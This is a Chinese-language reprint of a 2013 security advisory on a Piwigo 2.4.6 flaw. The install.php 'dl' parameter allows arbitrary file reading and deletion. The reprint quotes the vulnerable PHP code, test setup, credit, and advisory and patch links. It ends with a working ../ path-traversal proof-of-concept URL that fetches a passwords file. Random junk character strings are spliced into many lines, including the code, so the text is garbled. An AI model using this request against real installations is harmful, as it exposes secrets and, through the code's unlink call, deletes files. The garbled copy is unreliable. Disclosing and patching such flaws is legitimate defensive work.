Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。
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Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
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6 @. K/ q, |( z/install.php:
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/ ?6 J3 \( y4 k. z& B) Z  I113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
114: {
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
( h8 x- P) b% Y% t3 Z" a, C117:   header('Pragma: no-cache');
118:   header('Content-Disposition: attachment; filename="database.inc.php"');
5 l. a) r$ k9 B119:   header('Content-Transfer-Encoding: binary');
120:   header('Content-Length: '.filesize($filename));
7 i5 L2 G8 I( @# q+ `# R: `7 J9 Y121:   echo file_get_contents($filename);
122:   unlink($filename);
123:   exit();
124: }
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Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
2 e5 U- W0 h. P4 J           Apache 2.4.2 (Win32)
, y" A: i# T4 O! @" G           PHP 5.4.4
           MySQL 5.5.25a
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Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
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0 F5 p. ~5 }; W2 ]3 NAdvisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
/ c3 U- L" ^1 k  @# ~" xVendor Patch: http://piwigo.org/bugs/view.php?id=2843

: t0 `, F! |& G3 S15.02.2013

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http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
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